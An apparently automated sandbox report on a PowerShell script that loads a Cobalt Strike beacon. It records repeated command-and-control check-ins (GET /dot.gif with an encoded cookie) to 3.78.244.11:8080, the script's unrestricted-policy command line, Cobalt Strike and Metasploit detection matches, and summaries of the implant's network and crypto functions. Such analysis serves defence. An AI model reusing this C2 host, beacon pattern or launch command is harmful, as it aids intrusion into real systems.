Nov 25, 2024 19:59:33.338119030 CET	382	OUT	GET /dot.gif HTTP/1.1 Accept: / Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Host: 3.78.244.11:8080 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49864	3.78.244.11	8080	1900	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 19:59:55.509006023 CET	382	OUT	GET /dot.gif HTTP/1.1 Accept: / Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Host: 3.78.244.11:8080 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49915	3.78.244.11	8080	1900	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 20:00:17.716974974 CET	382	OUT	GET /dot.gif HTTP/1.1 Accept: / Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Host: 3.78.244.11:8080 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49963	3.78.244.11	8080	1900	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 20:00:39.878871918 CET	382	OUT	GET /dot.gif HTTP/1.1 Accept: / Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Host: 3.78.244.11:8080 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	50011	3.78.244.11	8080	1900	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 20:01:02.056224108 CET	382	OUT	GET /dot.gif HTTP/1.1 Accept: / Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Host: 3.78.244.11:8080 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	50012	3.78.244.11	8080	1900	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 20:01:24.216264963 CET	382	OUT	GET /dot.gif HTTP/1.1 Accept: / Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Host: 3.78.244.11:8080 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	50013	3.78.244.11	8080	1900	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 20:01:46.369400978 CET	382	OUT	GET /dot.gif HTTP/1.1 Accept: / Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Host: 3.78.244.11:8080 Connection: Keep-Alive Cache-Control: no-cache

Target ID:	0
Start time:	13:57:56
Start date:	25/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\3.ps1"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000000.00000002.4122124036.0000022EF9EB0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_ee756db7, Description: Attempts to detect Cobalt Strike based on strings found in BEACON, Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_663fc95d, Description: Identifies CobaltStrike via unidentified function code, Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Beacon_K5om, Description: Detects Meterpreter Beacon - file K5om.dll, Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: CobaltStrike_Unmodifed_Beacon, Description: Detects unmodified CobaltStrike beacon DLL, Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net Rule: Leviathan_CobaltStrike_Sample_1, Description: Detects Cobalt Strike sample from Leviathan report, Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: crime_win32_csbeacon_1, Description: Detects Cobalt Strike loader, Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Author: @VK_Intel Rule: WiltedTulip_ReflectiveLoader, Description: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CobaltStrike, Description: CobaltStrike payload, Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_4, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_ee756db7, Description: Attempts to detect Cobalt Strike based on strings found in BEACON, Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_663fc95d, Description: Identifies CobaltStrike via unidentified function code, Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Beacon_K5om, Description: Detects Meterpreter Beacon - file K5om.dll, Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: CobaltStrike_Unmodifed_Beacon, Description: Detects unmodified CobaltStrike beacon DLL, Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net Rule: Leviathan_CobaltStrike_Sample_1, Description: Detects Cobalt Strike sample from Leviathan report, Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: crime_win32_csbeacon_1, Description: Detects Cobalt Strike loader, Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Author: @VK_Intel Rule: WiltedTulip_ReflectiveLoader, Description: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_ReflectiveLoader, Description: detects Reflective DLL injection artifacts, Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_CobaltStrike, Description: CobaltStrike payload, Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000000.00000002.4114351286.0000022EF1952000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000000.00000002.4098790194.0000022EE28B3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_4, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_ee756db7, Description: Attempts to detect Cobalt Strike based on strings found in BEACON, Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_663fc95d, Description: Identifies CobaltStrike via unidentified function code, Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: CobaltStrike_Unmodifed_Beacon, Description: Detects unmodified CobaltStrike beacon DLL, Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, Author: yara@s3c.za.net Rule: WiltedTulip_ReflectiveLoader, Description: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	13:57:56
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.6%
Total number of Nodes:	166
Total number of Limit Nodes:	4

Executed Functions

Function 0000022EFA0B1184 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
encryptionCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32 ref: 0000022EFA0B11B8
CryptAcquireContextA.ADVAPI32 ref: 0000022EFA0B11DC
CryptGenRandom.ADVAPI32 ref: 0000022EFA0B11F0
CryptReleaseContext.ADVAPI32 ref: 0000022EFA0B1204

Strings

(, xrefs: 0000022EFA0B11D4
Microsoft Base Cryptographic Provider v1.0, xrefs: 0000022EFA0B11A2, 0000022EFA0B11C6

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: Crypt$Context$Acquire$RandomRelease
String ID: ($Microsoft Base Cryptographic Provider v1.0
API String ID: 685801729-4046902070
Opcode ID: 0f7b575704e2efa4e71594adee21552c9336b074ba1ad3f512173577c0e57d68
Instruction ID: e0dce4cc2a14644e0b1c9e9311bb6bda24c502039a8ef50f9b64ed6995ef0360
Opcode Fuzzy Hash: 0f7b575704e2efa4e71594adee21552c9336b074ba1ad3f512173577c0e57d68
Instruction Fuzzy Hash: 87018E2130064192EB10CB95F98C359A7A1F7CCB84F458421C60887F75DF7CCA59E340

Function 0000022EFA0BEA48 Relevance: 9.1, APIs: 6, Instructions: 109
networkCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000022EFA0CE0FC: RevertToSelf.ADVAPI32 ref: 0000022EFA0CE10A

InternetOpenA.WININET ref: 0000022EFA0BEB0C
InternetSetOptionA.WININET ref: 0000022EFA0BEB2C
InternetSetOptionA.WININET ref: 0000022EFA0BEB44
InternetConnectA.WININET ref: 0000022EFA0BEB7A
InternetSetOptionA.WININET ref: 0000022EFA0BEBB7
InternetSetOptionA.WININET ref: 0000022EFA0BEBE2

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: Internet$Option$ConnectOpenRevertSelf
String ID:
API String ID: 1513466045-0
Opcode ID: a9b8b553a89bf16a576f3c9bc92d43a984d256c5d92c920833b48d6b9218c37a
Instruction ID: bb1cd3debe3019e480fb20e441290b242909ee2c691dd24feec647ff74568fef
Opcode Fuzzy Hash: a9b8b553a89bf16a576f3c9bc92d43a984d256c5d92c920833b48d6b9218c37a
Instruction Fuzzy Hash: FF41DD36604741A2EF249B91F6A8BAA6351F79DB84F020015DA4A6FFBACF3CD405A740

Function 0000022EFA0BF014 Relevance: 4.6, APIs: 3, Instructions: 66
networkCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000022EFA0BF118: WSAStartup.WS2_32 ref: 0000022EFA0BF136

WSASocketA.WS2_32 ref: 0000022EFA0BF042
WSAIoctl.WS2_32 ref: 0000022EFA0BF08F
closesocket.WS2_32 ref: 0000022EFA0BF0EE

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: IoctlSocketStartupclosesocket
String ID:
API String ID: 365704328-0
Opcode ID: 9f6035121241c12ff71e8e552415c275c25b201d0c9d2d3551ffb33b20d91594
Instruction ID: 37be7bd6b35fde60571b749a9e6c42d2873fba7db6d50b62d02b5e69c14eb435
Opcode Fuzzy Hash: 9f6035121241c12ff71e8e552415c275c25b201d0c9d2d3551ffb33b20d91594
Instruction Fuzzy Hash: DE21D37261478092EB208F54F69475AB794F38C7E4F514625DE9947FA5CB3CC9059B00

Function 0000022EFA0BF118 Relevance: 3.0, APIs: 2, Instructions: 42
networkCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 0000022EFA0BF136
WSACleanup.WS2_32 ref: 0000022EFA0BF1D2

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: CleanupStartup
String ID:
API String ID: 915672949-0
Opcode ID: d22241c7f1bd4084ee50ee5593018a46650914ab47a10bd4edb93220355cbedb
Instruction ID: 743b429a6a01f2aa754972f08b7ca01f97f99139e6b4ea3ea24411af71b5055d
Opcode Fuzzy Hash: d22241c7f1bd4084ee50ee5593018a46650914ab47a10bd4edb93220355cbedb
Instruction Fuzzy Hash: 91111874601741A2FF28ABE0FB6C3952695E799340F43042A96150FFF7DE7D8948B710

Function 0000022EF9B296B4 Relevance: 1.6, APIs: 1, Instructions: 149
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 0000022EF9B2977B

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 74d038c8b1c51bf1d7765a817c366e135375bbd51fab872694d5e2c19deb3bea
Instruction ID: 64d935b796a8948b8af54684c1c5be4551e09c33a917b92f8fa5cf59113482da
Opcode Fuzzy Hash: 74d038c8b1c51bf1d7765a817c366e135375bbd51fab872694d5e2c19deb3bea
Instruction Fuzzy Hash: EC71B836219B8486CEA0CB4AE49435AB7A0F7C8B94F548125EFCE83B68DF3DD455CB04

Function 00007FFD9B961711 Relevance: .8, Instructions: 822
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.4123671244.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e470f4a2a1087fd1e316c24ed9a0eb322546c85e9dc4b358ba5a119388b76d31
Instruction ID: 016a1d9e89d3fc6bbbf3bbf5fe11c50e3c18476c5c778f07a4752db03dfaeed4
Opcode Fuzzy Hash: e470f4a2a1087fd1e316c24ed9a0eb322546c85e9dc4b358ba5a119388b76d31
Instruction Fuzzy Hash: 50421471B1EA8D9FEBA9EB68886457877E1EF55308B1900BED01DC71E3DE25AC42C341

Function 00007FFD9B894045 Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.4123209199.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 766642d8149fbb2b3da10932499c4e1c0848f95b82c1e9c2643841360af33d23
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 1201A73020CB0C8FDB48EF0CE451AA5B7E0FB89320F10056DE58AC36A1D632E881CB41

Non-executed Functions

Function 0000022EFA0D6514 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 460
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__doserrno.LIBCMT ref: 0000022EFA0D656A
_errno.LIBCMT ref: 0000022EFA0D6571
_invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0D657C

Strings

U, xrefs: 0000022EFA0D6ADE

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: __doserrno_errno_invalid_parameter_noinfo
String ID: U
API String ID: 3902385426-4171548499
Opcode ID: a469b43449293490d86ed3caa32e41753b17625943497404ea198177ea08bf0b
Instruction ID: aabf93859eada7bb4af38d499ea594e99353ba957451c96b680afea2ccca6937
Opcode Fuzzy Hash: a469b43449293490d86ed3caa32e41753b17625943497404ea198177ea08bf0b
Instruction Fuzzy Hash: 1612E333624641A6EF208FA8F68835A77A1F78C754F520116EA894BFB5DF3DC485EB10

Function 0000022EFA0C867C Relevance: 46.6, APIs: 22, Strings: 4, Instructions: 1078processCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 0000022EFA0C8FA0
CreateToolhelp32Snapshot.KERNEL32 ref: 0000022EFA0C8FD9
Process32First.KERNEL32 ref: 0000022EFA0C8FFB

Strings

%s%d%d, xrefs: 0000022EFA0C9046
x86, xrefs: 0000022EFA0C8FC7, 0000022EFA0C90B0
%s%d%d%s%s%d, xrefs: 0000022EFA0C90E0
x64, xrefs: 0000022EFA0C8FB2, 0000022EFA0C8FC0

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: CreateCurrentFirstProcessProcess32SnapshotToolhelp32
String ID: %s%d%d%s%s%d$%s%d%d$x64$x86
API String ID: 718051232-1833344708
Opcode ID: 44ee8957408f2f3c2d0d1c1155748847862033341b6ca19cb8ca6a6e19bffbea
Instruction ID: 52f183691cf6e9bcb460890cda8940e7ae5c64d535038e925f8c3bd6c0759468
Opcode Fuzzy Hash: 44ee8957408f2f3c2d0d1c1155748847862033341b6ca19cb8ca6a6e19bffbea
Instruction Fuzzy Hash: 9582F411B04641B2FE68DBE6B76C7A912D0A78D780F964111DA0A8FFF6EE3CC546B704

Function 0000022EFA0D2F9C Relevance: 37.4, APIs: 19, Strings: 2, Instructions: 694COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0000022EFA0D2FFD

Part of subcall function 0000022EFA0D1600: _getptd.LIBCMT ref: 0000022EFA0D1616
Part of subcall function 0000022EFA0D1600: __updatetlocinfo.LIBCMT ref: 0000022EFA0D164B
Part of subcall function 0000022EFA0D1600: __updatetmbcinfo.LIBCMT ref: 0000022EFA0D1672

_errno.LIBCMT ref: 0000022EFA0D3002

Part of subcall function 0000022EFA0D1D18: _getptd_noexit.LIBCMT ref: 0000022EFA0D1D1C

_fileno.LIBCMT ref: 0000022EFA0D302F

Part of subcall function 0000022EFA0D5A54: _errno.LIBCMT ref: 0000022EFA0D5A5D
Part of subcall function 0000022EFA0D5A54: _invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0D5A68

write_multi_char.LIBCMT ref: 0000022EFA0D366B
write_string.LIBCMT ref: 0000022EFA0D3688
write_multi_char.LIBCMT ref: 0000022EFA0D36A5
write_string.LIBCMT ref: 0000022EFA0D3704
write_string.LIBCMT ref: 0000022EFA0D373B
write_multi_char.LIBCMT ref: 0000022EFA0D375D
free.LIBCMT ref: 0000022EFA0D3771
_isleadbyte_l.LIBCMT ref: 0000022EFA0D3842
write_char.LIBCMT ref: 0000022EFA0D3858
write_char.LIBCMT ref: 0000022EFA0D3879
_errno.LIBCMT ref: 0000022EFA0D397C
